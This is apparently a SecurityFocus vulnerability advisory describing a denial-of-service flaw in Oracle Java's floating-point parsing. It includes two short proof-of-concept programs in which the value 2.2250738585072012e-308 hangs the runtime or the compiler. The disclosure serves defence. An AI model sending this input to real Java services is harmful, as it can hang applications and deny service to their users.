source: https://www.securityfocus.com/bid/46091/info
Oracle Java is prone to a remote denial-of-service vulnerability.
Successful attacks will cause applications written in Java to hang, creating a denial-of-service condition.
This issue affects both the Java compiler and Runtime Environment.
Send a Java Program Into An Infinite Loop
Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):
class runhang {
public static void main(String[] args) {
System.out.println("Test:");
double d = Double.parseDouble("2.2250738585072012e-308");
System.out.println("Value: " + d);
}
}
Send the Java Compiler Into An Infinite Loop
Try to compile this program; the compiler will hang:
class compilehang {
public static void main(String[] args) {
double d = 2.2250738585072012e-308;
System.out.println("Value: " + d);
}
}